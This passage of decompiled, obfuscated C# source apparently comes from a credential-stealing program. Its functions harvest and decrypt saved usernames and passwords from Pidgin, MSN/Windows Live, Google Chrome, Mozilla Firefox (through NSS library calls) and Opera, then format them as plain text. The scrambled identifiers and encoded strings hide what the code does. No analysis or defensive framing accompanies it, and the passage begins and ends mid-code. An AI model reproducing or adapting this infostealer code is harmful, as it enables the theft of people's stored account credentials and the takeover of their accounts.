"Username: "), (object) elementsByTagName3[i].InnerText), (object) "\r\n"), (object) "Password: "), (object) elementsByTagName4[i].InnerText), (object) "\r\n"), (object) "\r\n");
          checked { ++i; }
        }
        str1 = Conversions.ToString(Left);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
    }
    return str1;
  }

  internal static string dJSTRWHzHlyxOSUMlBsdLNhKPcnIVJuWsrTBSEIiJUOgdzWumi()
  {
    XmlDocument xmlDocument = new XmlDocument();
    object Left = (object) null;
    string str1 = "";
    string str2 = Interaction.Environ("appdata") + "\\.purple\\accounts.xml";
    if (System.IO.File.Exists(str2))
    {
      try
      {
        xmlDocument.Load(str2);
        XmlNodeList elementsByTagName1 = xmlDocument.GetElementsByTagName("protocol");
        XmlNodeList elementsByTagName2 = xmlDocument.GetElementsByTagName("name");
        XmlNodeList elementsByTagName3 = xmlDocument.GetElementsByTagName("password");
        int num = checked (elementsByTagName1.Count - 1);
        int i = 0;
        while (i <= num)
        {
          Left = Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Left, (object) "Application: Pidgin"), (object) "\r\n"), (object) "Protocol: "), (object) elementsByTagName1[i].InnerText), (object) "\r\n"), (object) "Username: "), (object) elementsByTagName2[i].InnerText), (object) "\r\n"), (object) "Password: "), (object) elementsByTagName3[i].InnerText), (object) "\r\n"), (object) "\r\n");
          str1 = Conversions.ToString(Left);
          checked { ++i; }
        }
        str1 = str1;
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
    }
    return str1;
  }

  [DllImport("crypt32", CharSet = CharSet.Auto, SetLastError = true)]
  internal static extern bool CryptUnprotectData(
    ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB dataIn,
    int ppszDataDescr,
    int optionalEntropy,
    int pvReserved,
    int pPromptStruct,
    int dwFlags,
    ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB pDataOut);

  [DllImport("advapi32", CharSet = CharSet.Unicode, SetLastError = true)]
  private static extern bool CredEnumerate(
    string filter,
    int flag,
    ref int oMhrmhotLlExlwDkbjCerlkhqoalxa,
    ref IntPtr puweopTywlscmvSnEiihkDydryxgIJ);

  public static string PfGGVMOGfImkSHbSJWhQPDDemybuaxQcQOIaXtdotqCTUpqzYF()
  {
    string str = "";
    try
    {
      int oMhrmhotLlExlwDkbjCerlkhqoalxa = 0;
      IntPtr zero = IntPtr.Zero;
      if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CredEnumerate("WindowsLive:name=*", 0, ref oMhrmhotLlExlwDkbjCerlkhqoalxa, ref zero))
      {
        IntPtr[] numArray = new IntPtr[checked (oMhrmhotLlExlwDkbjCerlkhqoalxa - 1 + 1)];
        IntPtr num1 = zero;
        int num2 = checked (oMhrmhotLlExlwDkbjCerlkhqoalxa - 1);
        int index = 0;
        while (index <= num2)
        {
          numArray[index] = Marshal.ReadIntPtr((IntPtr) checked (num1.ToInt32() + IntPtr.Size * index));
          LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CREDENTIAL structure = (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CREDENTIAL) Marshal.PtrToStructure(numArray[index], typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CREDENTIAL));
          LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB dataIn = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB();
          LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB pDataOut = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB();
          dataIn.pbData = structure.lpbCredentialBlob;
          dataIn.cbData = (int) structure.dwCredentialBlobSize;
          LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CryptUnprotectData(ref dataIn, 0, 0, 0, 0, 1, ref pDataOut);
          str = str + "Application: MSN\r\nUsername: " + Marshal.PtrToStringAuto(structure.lpUserName) + "\r\nPassword: " + Marshal.PtrToStringAuto(dataIn.pbData) + "\r\n";
          checked { ++index; }
        }
        str = str;
      }
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    return str;
  }

  public static object lzwfsSStCOqKpNfFfqkDmJsEJGRiwFGPniLNtzTbRwrsqvgnuL()
  {
    string str1 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data";
    try
    {
      object Instance1 = (object) new SQLiteHandler(str1);
      NewLateBinding.LateCall(Instance1, (System.Type) null, "ReadTable", new object[1]
      {
        (object) "logins"
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
      if (System.IO.File.Exists(str1))
      {
        int integer = Conversions.ToInteger(Microsoft.VisualBasic.CompilerServices.Operators.SubtractObject(NewLateBinding.LateGet(Instance1, (System.Type) null, "GetRowCount", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null), (object) 1));
        int num = 0;
        while (num <= integer)
        {
          object Instance2 = Instance1;
          object[] objArray1 = new object[2]
          {
            (object) num,
            (object) "origin_url"
          };
          object[] Arguments1 = objArray1;
          bool[] flagArray1 = new bool[2]{ true, false };
          bool[] CopyBack1 = flagArray1;
          object obj1 = NewLateBinding.LateGet(Instance2, (System.Type) null, "GetValue", Arguments1, (string[]) null, (System.Type[]) null, CopyBack1);
          if (flagArray1[0])
            num = (int) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray1[0]), typeof (int));
          string str2 = Conversions.ToString(obj1);
          object Instance3 = Instance1;
          object[] objArray2 = new object[2]
          {
            (object) num,
            (object) "username_value"
          };
          object[] Arguments2 = objArray2;
          bool[] flagArray2 = new bool[2]{ true, false };
          bool[] CopyBack2 = flagArray2;
          object obj2 = NewLateBinding.LateGet(Instance3, (System.Type) null, "GetValue", Arguments2, (string[]) null, (System.Type[]) null, CopyBack2);
          if (flagArray2[0])
            num = (int) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray2[0]), typeof (int));
          string Left1 = Conversions.ToString(obj2);
          Encoding Instance4 = Encoding.Default;
          object[] objArray3 = new object[1];
          object[] objArray4 = objArray3;
          object Instance5 = Instance1;
          object Instance6 = Instance5;
          object[] objArray5 = new object[2]
          {
            (object) num,
            null
          };
          object[] objArray6 = objArray5;
          string str3 = "password_value";
          string str4 = str3;
          objArray6[1] = (object) str4;
          object[] objArray7 = objArray5;
          object[] Arguments3 = objArray7;
          bool[] flagArray3 = new bool[2]{ true, false };
          bool[] CopyBack3 = flagArray3;
          object obj3 = NewLateBinding.LateGet(Instance6, (System.Type) null, "GetValue", Arguments3, (string[]) null, (System.Type[]) null, CopyBack3);
          if (flagArray3[0])
            num = (int) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray7[0]), typeof (int));
          object objectValue = RuntimeHelpers.GetObjectValue(obj3);
          objArray4[0] = objectValue;
          object[] objArray8 = objArray3;
          object[] Arguments4 = objArray8;
          bool[] flagArray4 = new bool[1]{ true };
          bool[] CopyBack4 = flagArray4;
          object Datas = NewLateBinding.LateGet((object) Instance4, (System.Type) null, "GetBytes", Arguments4, (string[]) null, (System.Type[]) null, CopyBack4);
          if (flagArray4[0])
            NewLateBinding.LateSetComplex(Instance5, (System.Type) null, "GetValue", new object[3]
            {
              (object) num,
              (object) str3,
              RuntimeHelpers.GetObjectValue(objArray8[0])
            }, (string[]) null, (System.Type[]) null, true, false);
          string Left2 = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Decrypt((byte[]) Datas);
          if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left1, "", false) != 0 & Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left2, "", false) != 0)
          {
            string str5 = "Application: Google Chrome\r\nHost: " + str2 + "\r\nUsername: " + Left1 + "\r\nPassword: " + Left2 + "\r\n";
            LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ListBox1.Items.Add((object) str5);
          }
          checked { ++num; }
        }
      }
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    object obj;
    return obj;
  }

  public static string Decrypt(byte[] Datas)
  {
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB dataIn = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB();
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB pDataOut = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB();
    GCHandle gcHandle = GCHandle.Alloc((object) Datas, GCHandleType.Pinned);
    dataIn.pbData = gcHandle.AddrOfPinnedObject();
    dataIn.cbData = Datas.Length;
    gcHandle.Free();
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CryptUnprotectData(ref dataIn, 0, 0, 0, 0, 0, ref pDataOut);
    byte[] numArray = new byte[checked (pDataOut.cbData + 1)];
    Marshal.Copy(pDataOut.pbData, numArray, 0, pDataOut.cbData);
    string str = Encoding.Default.GetString(numArray);
    return str.Substring(0, checked (str.Length - 1));
  }

  public static void TvDbsYmmzeKXixjs()
  {
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.AText.Location = new Point(10, 10);
    string str1 = (string) null;
    bool flag = false;
    string str2 = Interaction.Environ(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("U" + Conversions.ToString(Strings.Chr(214)) + Conversions.ToString(Strings.Chr(161)) + "p" + Conversions.ToString(Strings.Chr(161)) + "\u0014" + Conversions.ToString(Strings.Chr(149)) + Conversions.ToString(Strings.Chr(228)) + " " + Conversions.ToString(Strings.Chr(252)) + "6F")) + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("Y" + Conversions.ToString(Strings.Chr(201)) + Conversions.ToString(Strings.Chr(129)) + "M" + Conversions.ToString(Strings.Chr(154)) + "9" + Conversions.ToString(Strings.Chr(180)) + Conversions.ToString(Strings.Chr(195)) + "I" + Conversions.ToString(Strings.Chr(246)) + "\u001Ag5" + Conversions.ToString(Strings.Chr(196)) + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(253)) + "H");
    string[] directories = Directory.GetDirectories(Interaction.Environ(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("D" + Conversions.ToString(Strings.Chr(212)) + Conversions.ToString(Strings.Chr(190)) + "s" + Conversions.ToString(Strings.Chr(178)) + "\u0001" + Conversions.ToString(Strings.Chr(153)))) + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("Y" + Conversions.ToString(Strings.Chr(201)) + Conversions.ToString(Strings.Chr(129)) + "M" + Conversions.ToString(Strings.Chr(154)) + "9" + Conversions.ToString(Strings.Chr(180)) + Conversions.ToString(Strings.Chr(195)) + "5" + Conversions.ToString(Strings.Chr(246)) + "\u001Ag5" + Conversions.ToString(Strings.Chr(196)) + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(253)) + "H" + Conversions.ToString(Strings.Chr(189)) + ">gwuzoT"));
    int index1 = 0;
    while (index1 < directories.Length)
    {
      string str3 = directories[index1];
      if (!flag)
      {
        string[] files = Directory.GetFiles(str3);
        int index2 = 0;
        while (index2 < files.Length)
        {
          string input = files[index2];
          if (!flag)
          {
            if (Regex.IsMatch(input, LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("v" + Conversions.ToString(Strings.Chr(237)) + Conversions.ToString(Strings.Chr(137)) + "Y" + Conversions.ToString(Strings.Chr(156)) + ";" + Conversions.ToString(Strings.Chr(171)) + Conversions.ToString(Strings.Chr(140)) + "\u001A" + Conversions.ToString(Strings.Chr(193)) + "\u001F|$" + Conversions.ToString(Strings.Chr(199)))))
            {
              LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.oivGmTktmoB(str3);
              LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.signon = input;
            }
            checked { ++index2; }
          }
          else
          {
            ProjectData.EndApp();
            break;
          }
        }
        checked { ++index1; }
      }
      else
        break;
    }
    string signon = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.signon;
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem tsecItem = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem();
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem result1 = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem();
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem result2 = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem();
    Base @base = new Base(signon);
    DataTable dataTable1 = @base.ExecuteQuery(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("V" + Conversions.ToString(Strings.Chr(193)) + Conversions.ToString(Strings.Chr(162)) + "r" + Conversions.ToString(Strings.Chr(176)) + "\u0001" + Conversions.ToString(Strings.Chr(248)) + Conversions.ToString(Strings.Chr(136)) + "I" + Conversions.ToString(Strings.Chr(246)) + "!Z\u001D" + Conversions.ToString(Strings.Chr(130)) + Conversions.ToString(Strings.Chr(174)) + Conversions.ToString(Strings.Chr(234)) + "n" + Conversions.ToString(Strings.Chr(178)) + " gvuxy\u001C"));
    DataTable dataTable2 = @base.ExecuteQuery(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("V" + Conversions.ToString(Strings.Chr(193)) + Conversions.ToString(Strings.Chr(162)) + "r" + Conversions.ToString(Strings.Chr(176)) + "\u0001" + Conversions.ToString(Strings.Chr(248)) + Conversions.ToString(Strings.Chr(136)) + "I" + Conversions.ToString(Strings.Chr(246)) + "!Z\u001D" + Conversions.ToString(Strings.Chr(130)) + Conversions.ToString(Strings.Chr(174)) + Conversions.ToString(Strings.Chr(234)) + "n" + Conversions.ToString(Strings.Chr(178)) + "(ab}tfBa " + Conversions.ToString(Strings.Chr(228)) + Conversions.ToString(Strings.Chr(188)) + Conversions.ToString(Strings.Chr(141)) + Conversions.ToString(Strings.Chr(161)) + "\n"));
    try
    {
      foreach (DataRow row in dataTable2.Rows)
        str1 = str1 + Environment.NewLine + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("m" + Conversions.ToString(Strings.Chr(235)) + Conversions.ToString(Strings.Chr(157)) + "C" + Conversions.ToString(Strings.Chr(157)) + "4" + Conversions.ToString(Strings.Chr(181)) + Conversions.ToString(Strings.Chr(199))).ToString();
    }
    finally
    {
      System.Collections.IEnumerator enumerator;
      if (enumerator is IDisposable)
        (enumerator as IDisposable).Dispose();
    }
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.OMhwbbbdVrvk(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.bvryeuuo(), true, 0L);
    try
    {
      foreach (DataRow row in dataTable1.Rows)
      {
        string str4 = str1 + Environment.NewLine + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("D" + Conversions.ToString(Strings.Chr(244)) + Conversions.ToString(Strings.Chr(158)) + "[" + Conversions.ToString(Strings.Chr(154)) + "6" + Conversions.ToString(Strings.Chr(185)) + Conversions.ToString(Strings.Chr(214)) + "\0" + Conversions.ToString(Strings.Chr(223)) + "\u001D/p" + Conversions.ToString(Strings.Chr(228)) + Conversions.ToString(Strings.Chr(170)) + Conversions.ToString(Strings.Chr(247)) + "q" + Conversions.ToString(Strings.Chr(171)) + "#p");
        string str5 = Convert.ToString(row[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("c" + Conversions.ToString(Strings.Chr(235)) + Conversions.ToString(Strings.Chr(156)) + "Z" + Conversions.ToString(Strings.Chr(160)) + " " + Conversions.ToString(Strings.Chr(186)) + Conversions.ToString(Strings.Chr(207)) + "\0" + Conversions.ToString(Strings.Chr(196)) + "&G\u001C")].ToString());
        str1 = str4 + Environment.NewLine + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("V" + Conversions.ToString(Strings.Chr(225)) + Conversions.ToString(Strings.Chr(135)) + "C" + Conversions.ToString(Strings.Chr(150)) + "o" + Conversions.ToString(Strings.Chr(248))) + str5;
        StringBuilder inStr1 = new StringBuilder(row[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("`" + Conversions.ToString(Strings.Chr(234)) + Conversions.ToString(Strings.Chr(141)) + "E" + Conversions.ToString(Strings.Chr(138)) + "%" + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(199)) + "\r" + Conversions.ToString(Strings.Chr(229)) + "\0p\"" + Conversions.ToString(Strings.Chr(204)) + Conversions.ToString(Strings.Chr(162)) + Conversions.ToString(Strings.Chr(232)) + "q")].ToString());
        IntPtr num = new IntPtr(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, inStr1, inStr1.Length));
        LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem structure1 = (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem) Marshal.PtrToStructure(num, typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem));
        if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CqSzxpvjJWBHufugp(ref structure1, ref result1, 0) == 0 && result1.SECItemLen != 0)
        {
          byte[] numArray = new byte[checked (result1.SECItemLen - 1 + 1)];
          num = new IntPtr(result1.SECItemData);
          Marshal.Copy(num, numArray, 0, result1.SECItemLen);
          str1 = str1 + Environment.NewLine + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("P" + Conversions.ToString(Strings.Chr(247)) + Conversions.ToString(Strings.Chr(139)) + "E" + Conversions.ToString(Strings.Chr(157)) + "4" + Conversions.ToString(Strings.Chr(181)) + Conversions.ToString(Strings.Chr(199)) + "S" + Conversions.ToString(Strings.Chr(144))) + Encoding.ASCII.GetString(numArray);
        }
        StringBuilder inStr2 = new StringBuilder(row[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("`" + Conversions.ToString(Strings.Chr(234)) + Conversions.ToString(Strings.Chr(141)) + "E" + Conversions.ToString(Strings.Chr(138)) + "%" + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(199)) + "\r" + Conversions.ToString(Strings.Chr(224)) + "\u0012f#" + Conversions.ToString(Strings.Chr(213)) + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(247)) + "p")].ToString());
        num = new IntPtr(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, inStr2, inStr2.Length));
        LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem structure2 = (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem) Marshal.PtrToStructure(num, typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem));
        if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CqSzxpvjJWBHufugp(ref structure2, ref result2, 0) == 0 && result2.SECItemLen != 0)
        {
          byte[] numArray = new byte[checked (result2.SECItemLen - 1 + 1)];
          num = new IntPtr(result2.SECItemData);
          Marshal.Copy(num, numArray, 0, result2.SECItemLen);
          str1 = str1 + Environment.NewLine + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("U" + Conversions.ToString(Strings.Chr(229)) + Conversions.ToString(Strings.Chr(157)) + "D" + Conversions.ToString(Strings.Chr(132)) + ":" + Conversions.ToString(Strings.Chr(170)) + Conversions.ToString(Strings.Chr(214)) + "S" + Conversions.ToString(Strings.Chr(144))) + Encoding.ASCII.GetString(numArray) + Environment.NewLine;
          LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.AText.Text = str1;
        }
      }
    }
    finally
    {
      System.Collections.IEnumerator enumerator;
      if (enumerator is IDisposable)
        (enumerator as IDisposable).Dispose();
    }
  }

  [DllImport("kernel32.dll")]
  private static extern IntPtr LoadLibrary(string dllFilePath);

  [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
  private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

  public static long oivGmTktmoB(string configdir)
  {
    string str = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\";
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "mozcrt19.dll");
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "nspr4.dll");
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "plc4.dll");
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "plds4.dll");
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "ssutil3.dll");
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "mozsqlite3.dll");
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "nssutil3.dll");
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "softokn3.dll");
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3 = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "nss3.dll");
    return ((LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate) Marshal.GetDelegateForFunctionPointer(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetProcAddress(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3, "NSS_Init"), typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate)))(configdir);
  }

  public static long bvryeuuo() => ((LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate2) Marshal.GetDelegateForFunctionPointer(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetProcAddress(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3, "PK11_GetInternalKeySlot"), typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate2)))();

  public static long OMhwbbbdVrvk(long slot, bool loadCerts, long wincx) => ((LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate3) Marshal.GetDelegateForFunctionPointer(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetProcAddress(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3, "PK11_Authenticate"), typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate3)))(slot, loadCerts, wincx);

  public static int xSGTjizteYUcgxxr(
    IntPtr arenaOpt,
    IntPtr outItemOpt,
    StringBuilder inStr,
    int inLen)
  {
    return ((LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate4) Marshal.GetDelegateForFunctionPointer(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetProcAddress(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3, "NSSBase64_DecodeBuffer"), typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate4)))(arenaOpt, outItemOpt, inStr, inLen);
  }

  public static int CqSzxpvjJWBHufugp(
    ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem data,
    ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem result,
    int cx)
  {
    return ((LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate5) Marshal.GetDelegateForFunctionPointer(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetProcAddress(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3, "PK11SDR_Decrypt"), typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate5)))(ref data, ref result, cx);
  }

  public static string GetOperaa()
  {
    List<string> stringList = new List<string>();
    string[] strArray1 = (string[]) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DecryptInfo();
    StringBuilder stringBuilder = new StringBuilder();
    string[] strArray2 = strArray1;
    int index1 = 0;
    while (index1 < strArray2.Length)
    {
      string Left = strArray2[index1];
      if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left, "", false) != 0)
        stringList.Add(Left);
      checked { ++index1; }
    }
    if (stringList.Count == 0)
      return " \r\n";
    string operaa;
    try
    {
      int num = checked (stringList.Count - 1);
      int index2 = 0;
      while (index2 <= num)
      {
        stringBuilder.Append("Application: Opera\r\n");
        stringBuilder.Append("Host: " + stringList[index2].Substring(0) + "\r\n");
        stringBuilder.Append("User Name: " + stringList[checked (index2 + 1)].Substring(1) + "\r\n");
        stringBuilder.Append("Password: " + stringList[checked (index2 + 2)].Substring(1) + "\r\n");
        stringList[index2].Substring(1);
        stringList[checked (index2 + 1)].Substring(1);
        stringList[checked (index2 + 2)].Substring(1);
        checked { index2 += 3; }
      }
      operaa = stringBuilder.ToString();
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    return operaa;
  }

  public static object DecryptInfo()
